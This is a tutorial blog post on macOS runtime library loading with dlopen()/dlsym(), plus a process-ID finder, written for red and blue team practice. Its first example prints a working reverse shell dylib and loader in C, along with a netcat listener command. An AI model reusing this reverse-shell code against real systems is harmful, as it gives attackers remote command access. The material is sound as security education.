MacOS hacking part 8: dlopen()
code loading + finding target PIDs. Simple C (Intel, ARM) examples
﷽
Hello, cybersecurity enthusiasts and white hackers!
Today we’ll build two tiny, practical labs: load a dylib at runtime with dlopen()
, enumerate processes and find PID of a target app for your simulations.
No exploits, no cross-process hijack - just clean primitives you can reuse in red/blue exercises. Works on Intel and Apple Silicon.
dlopen
What is dlopen
? Based on apple manual:
void *dlopen(const char *path, int mode);
This function returns a handle on success, or NULL
on error (check dlerror()
).
Common flags (for param mode
):
RTLD_LAZY
- resolve undefined symbols on first use (deferred).
RTLD_NOW
- resolve immediately (fail fast if something’s missing).
RTLD_LOCAL
- loaded symbols stay private to this object.
RTLD_GLOBAL
- symbols become visible to subsequently loaded objects.
RTLD_NOLOAD
- don’t load, just return handle if already loaded (macOS supports).
RTLD_DEEPBIND
is Linux-only; not on macOS.
path == NULL
returns a handle for the main program (good for dlsym
on your own binary). If path
is relative (or no slash), dyld uses its search rules (rpaths, loader/executable paths, env); prefer absolute paths for predictability.
Minimal usage like this:
void *h = dlopen("/absolute/path/to/plugin.dylib", RTLD_NOW | RTLD_LOCAL);
if (!h) { fprintf(stderr, "%s\n", dlerror()); return 1; }
void (*entry)(void) = (void(*)(void))dlsym(h, "plugin_entry");
if (!entry) { fprintf(stderr, "%s\n", dlerror()); return 1; }
practical example 1
First of all, create simple “malicious” library, something like this (evil.c
):
/*
* evil.c
* running simple rev shell on macOS
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
*/
#include <stdio.h>
#include <syslog.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <arpa/inet.h>
#include <unistd.h>
void hackMe() {
const char* ip = "127.0.0.1";
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(4444);
inet_aton(ip, &addr.sin_addr);
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
connect(sockfd, (struct sockaddr *)&addr, sizeof(addr));
for (int i = 0; i < 3; i++) {
dup2(sockfd, i);
}
char *const argv[] = {"/bin/zsh", NULL};
execve("/bin/zsh", argv, NULL);
}
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
syslog(LOG_ERR, "dylib injection successful %s\n", argv[0]);
}
This is simple example with reverse shell on 127.0.0.1
.
Then, let’s create the tiniest dlopen()
loader. The code is pretty simple:
/*
* hack.c
* load library on macOS
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
*/
#include <dlfcn.h>
#include <stdio.h>
int main() {
// malicious dylib
void *handle = dlopen("./evil.dylib", RTLD_LAZY);
if (!handle) {
fprintf(stderr, "error: %s\n", dlerror());
return 1;
}
// import and execute malicious function from lib
void (*hackMe)() = dlsym(handle, "hackMe");
if (hackMe) {
hackMe(); // run malicious function
}
dlclose(handle); // close handle
return 0;
}
This is the minimal shape of runtime loading: build a tiny dylib that exports hackMe()
, then load & call it.
demo
My local VM’s Kernel version is 24.4.0
:
Let’s go to see this in action. Compile dylib:
clang -dynamiclib -o evil.dylib evil.c
Then compile our loader:
clang -o hack hack.c
Prepare listener:
nc -l -p 4444
And run:
./hack
As you can see, everything is works perfectly! =^..^=
Also works for Apple Silicon (M1 in my case):
Note that this is dynamic loading inside your own process (not cross-process injection!). Perfect to explain dyld behavior, exports, and where defenders can see runtime loads.
This example loads the library at runtime with dlopen("./evil.dylib", RTLD_LAZY)
.
If you run:
otool -L ./hack
you won’t see evil.dylib
listed (no LC_LOAD_DYLIB
record).
But if you run:
DYLD_PRINT_LIBRARIES=1 ./hack
you’ll see evil.dylib
mapped during execution.
If you did something like:
clang hack.c -L. -levil
(and exported hackMe
properly), the loader would have a build-time dependency; otool -L
would list evil.dylib
, and dyld
would load it on process start, not via dlopen
.
But this is a slightly different story and maybe I will show it next time
practical example 2
How to find target process PIDs on macOS? Sometimes you need this. I have already done this for Windows and Linux
First of all we need to grabs a snapshot of all PIDs:
int bytes = proc_listpids(PROC_ALL_PIDS, 0, pids, sizeof(pids));
if (bytes <= 0) {
perror("proc_listpids");
return 1;
}
Then:
for (int i = 0; i < count; i++) {
pid_t pid = pids[i];
if (pid <= 0) continue;
char name[PROC_PIDPATHINFO_MAXSIZE] = {0};
char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
// procname
if (proc_name(pid, name, sizeof(name)) <= 0) continue;
// fullpath (sometimes not work!)
proc_pidpath(pid, path, sizeof(path));
int match = 0;
if (icaseeq(name, target)) match = 1;
else if (path[0] != '\0' && strcasestr(path, target)) match = 1;
if (match) {
printf("PID %d\tname=\"%s\"\tpath=\"%s\"\n", pid, name, path);
}
}
What’s going on here? Walks the list; skip zeros/invalid. For each PID:
proc_name(pid, name, sizeof(name))
- short process name (reliable).
proc_pidpath(pid, path, sizeof(path));
- full path (may be empty if blocked).
Then simple matching logic: case-insensitive exact name match, or case-insensitive substring in full path. For this we need simple helper function:
static int icaseeq(const char *a, const char *b) {
for (;; a++, b++) {
int ca = tolower((unsigned char)*a);
int cb = tolower((unsigned char)*b);
if (ca != cb) return 0;
if (ca == 0) return 1;
}
}
Path can be blank on protected/system daemons; name still works.
So, the full source code looks like this hack2.c
:
/*
* hack2.c
* find PID on macOS
* usage: ./hack2 Safari
* usage: ./hack2 "Google Chrome"
* usage: ./hack2 /Applications/Safari.app
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <libproc.h>
#include <unistd.h>
#include <ctype.h>
static int icaseeq(const char *a, const char *b) {
for (;; a++, b++) {
int ca = tolower((unsigned char)*a);
int cb = tolower((unsigned char)*b);
if (ca != cb) return 0;
if (ca == 0) return 1;
}
}
int main(int argc, char **argv) {
const char *target = (argc > 1) ? argv[1] : "Calculator";
pid_t pids[8192];
int bytes = proc_listpids(PROC_ALL_PIDS, 0, pids, sizeof(pids));
if (bytes <= 0) {
perror("proc_listpids");
return 1;
}
int count = bytes / (int)sizeof(pid_t);
for (int i = 0; i < count; i++) {
pid_t pid = pids[i];
if (pid <= 0) continue;
char name[PROC_PIDPATHINFO_MAXSIZE] = {0};
char path[PROC_PIDPATHINFO_MAXSIZE] = {0};
// procname
if (proc_name(pid, name, sizeof(name)) <= 0) continue;
// fullpath (sometimes not work!)
proc_pidpath(pid, path, sizeof(path));
int match = 0;
if (icaseeq(name, target)) match = 1;
else if (path[0] != '\0' && strcasestr(path, target)) match = 1;
if (match) {
printf("PID %d\tname=\"%s\"\tpath=\"%s\"\n", pid, name, path);
}
}
return 0;
}
demo 2
Let’s go to see everything in action. Compile it:
clang -o hack2 hack2.c
Run some app, for example, Calculator:
Run it and check:
./hack2 Calculator
pgrep -x Calculator
As you can see, it works!
Another app, for example, Safari:
./hack2 Safari
As you can see, our simple logic founds all PIDs with string “Safari”! Perfect! =^..^=
practical example 3
While I was writing these articles, my colleagues had questions about the second param of dlopen
function. Let me try to explain based on new example.
A slightly richer example for dlopen
: a hack waits for a local trigger and then loads meow.dylib
, calls meow_entry()
, and we also log from the dylib’s constructor.
Let’s say we have meow plugin (dylib):
/*
* meow.c
* dylib for load library on macOS
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
*/
#include <stdio.h>
#include <syslog.h>
__attribute__((constructor))
static void meow_ctor(void) {
syslog(LOG_NOTICE, "meow_ctor: dylib mapped.");
}
__attribute__((visibility("default")))
void meow_entry(void) {
printf("[meow] meow-meow from dylib\n");
syslog(LOG_NOTICE, "meow_entry: meow-meow from dylib");
}
Then create host app hack3.c
:
/*
* hack3.c
* load library on macOS
* author @cocomelonc
* https://cocomelonc.github.io/macos/2025/08/10/malware-mac-8.html
*/
#define _DARWIN_C_SOURCE
#include <dlfcn.h>
#include <errno.h>
#include <stdio.h>
#include <string.h>
#include <syslog.h>
#include <unistd.h>
static const char *kPluginPath = "./meow.dylib";
static const char *kTriggerPath = "/tmp/meow_trigger";
static int trigger_present(void) {
return access(kTriggerPath, F_OK) == 0;
}
int main(void) {
printf("[hack] meow! waiting for trigger...\n");
syslog(LOG_NOTICE, "hack: started");
while (!trigger_present()) {
usleep(200 * 1000); // 200 ms
}
printf("[hack] trigger seen. dlopen()...\n");
void *h = dlopen(kPluginPath, RTLD_NOW | RTLD_LOCAL);
if (!h) {
fprintf(stderr, "dlopen failed: %s\n", dlerror());
return 1;
}
void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
if (!meow_entry) {
fprintf(stderr, "dlsym failed: %s\n", dlerror());
return 1;
}
meow_entry();
dlclose(h);
printf("[hack] done.\n");
return 0;
}
demo 3
If we compile all:
clang -dynamiclib -o meow.dylib meow.c
clang -o hack3 hack3.c
And then run:
./hack3
Waiting….
And run on another terminal:
touch /tmp/meow_trigger
So, if we check logs:
Let’s unpack exactly what’s happening in that example?
You have a host process (hack
) that does not link against the plugin (meow.dylib
) at build time.
At runtime, the host decides when (and what) to load by calling:
dlopen("./meow.dylib",...);
Then, when a dylib is mapped by the macOS dynamic loader (dyld
), dyld:
- maps the file into the process,
- resolves relocations/symbols (depending on flags),
- runs the library’s initializers (e.g., functions marked
__attribute__((constructor))
).
After dlopen
returns a handle, the host looks up a specific exported symbol (meow_entry
) via dlsym
, gets a function pointer, and calls it:
void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
if (!meow_entry) {
fprintf(stderr, "dlsym failed: %s\n", dlerror());
return 1;
}
meow_entry();
Finally, the host dlclose()
s the handle (decreasing dyld’s refcount for that image).
This is dynamic code loading in your own process (not cross-process injection!).
In the demo, the “host” hack3
waits until a file /tmp/meow_trigger
exists:
while (!trigger_present()) {
usleep(200 * 1000); // 200 ms
}
That’s just a simple, reproducible local trigger to show delayed loading. You can replace it with anything (button click, CLI flag, socket message, etc.). The point is to demonstrate that loading happens at runtime, under your control, not at link time. (As I know, if you want something slicker, macOS offers kqueue/EVFILT_VNODE
, FSEvents
, or dispatch_source
to watch filesystem changes without polling.)
Ok, what dlopen()
actually does here? Let’s check our code:
void *h = dlopen("./meow.dylib", RTLD_NOW | RTLD_LOCAL);
We pass a fixed relative path ./meow.dylib
. (Safer for a demo; in real apps prefer absolute paths, signature checks, and hardened runtime constraints.)
RTLD_NOW
- resolve needed symbols eagerly during load (if something’s missing, dlopen
fails immediately). Contrast with RTLD_LAZY
, which defers resolution until first use.
RTLD_LOCAL
- the plugin’s symbols are not made globally available to subsequently loaded libraries. If you wanted the plugin’s symbols to be visible to other dynamic loads, you’d use RTLD_GLOBAL
.
In other words: RTLD_LOCAL
keeps the plugin self-contained - its symbols won’t “leak” into the global namespace. RTLD_GLOBAL
is useful when you intend other subsequent dlopens to resolve against the plugin’s symbols. That’s powerful but can cause symbol collisions - you must manage it carefully!
While inside dlopen
, dyld:
- maps the Mach-O image (code/data segments),
- applies relocations/bindings,
- executes initializers, so your
__attribute__((constructor))
runs beforedlopen()
returns. That’s why you’ll see the constructor’s syslog line even before you callmeow_entry()
.
If anything fails, dlopen
returns NULL
and dlerror()
tells you what (bad path, missing arch slice, code-sign/hardened runtime rejection, missing deps, etc.).
What about constructor? In the meow
plugin:
__attribute__((constructor))
static void meow_ctor(void) {
syslog(LOG_NOTICE, "meow_ctor: dylib mapped.");
}
This function runs automatically when the dylib is mapped (during dlopen
). It’s a convenient place to log “I was loaded” or set up internal state. Symmetrically, you can use __attribute__((destructor))
for cleanup when the image is finally unloaded (refcount hits zero and dyld unmaps it).
Then, just dlsym()
+ calling the function:
void (*meow_entry)(void) = (void(*)(void))dlsym(h, "meow_entry");
if (!meow_entry) {
fprintf(stderr, "dlsym failed: %s\n", dlerror());
return 1;
}
meow_entry();
Again, here are some caveats to consider:
./meow.dylib
depends on the current working directory. If you launch hack3
from another directory, it won’t find the plugin. Use absolute paths or compute them from argv[0] / bundle
paths.
if meow_entry
wasn’t exported (-fvisibility=hidden
without explicit visibility("default")
), dlsym
fails.
always cast dlsym
to the exact function type you exported.
dlopen/dlsym
are process-wide operations; dyld maintains internal locks. Keep your own plugin init thread-safe.
conclusion
The post teaches macOS code-loading primitives in a safe lab. You’ll see the difference between runtime loading (dlopen + dlsym
) and build-time linking (dyld
loads your dylib
before main
), plus a tiny PID
finder to locate target processes. The goal is to understand how code actually gets mapped, what artifacts it leaves. I’m not that good at blue team exercises but I think blue teams will understand and can detect or block it. As you can see, no exploits here - just clean mechanics you can reuse in red/blue drills/exercises.
I hope this post is useful for malware researchers, macOS/Apple
security researchers, C/C++ programmers, spreads awareness to the blue teamers of this interesting technique, and adds a weapon to the red teamers arsenal.
macOS hacking part 1
macOS hacking part 2
macOS hacking part 3
macOS hacking part 4
macOS hacking part 5
macOS hacking part 6
macOS hacking part 7
source code in github
This is a practical case for educational purposes only.
Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine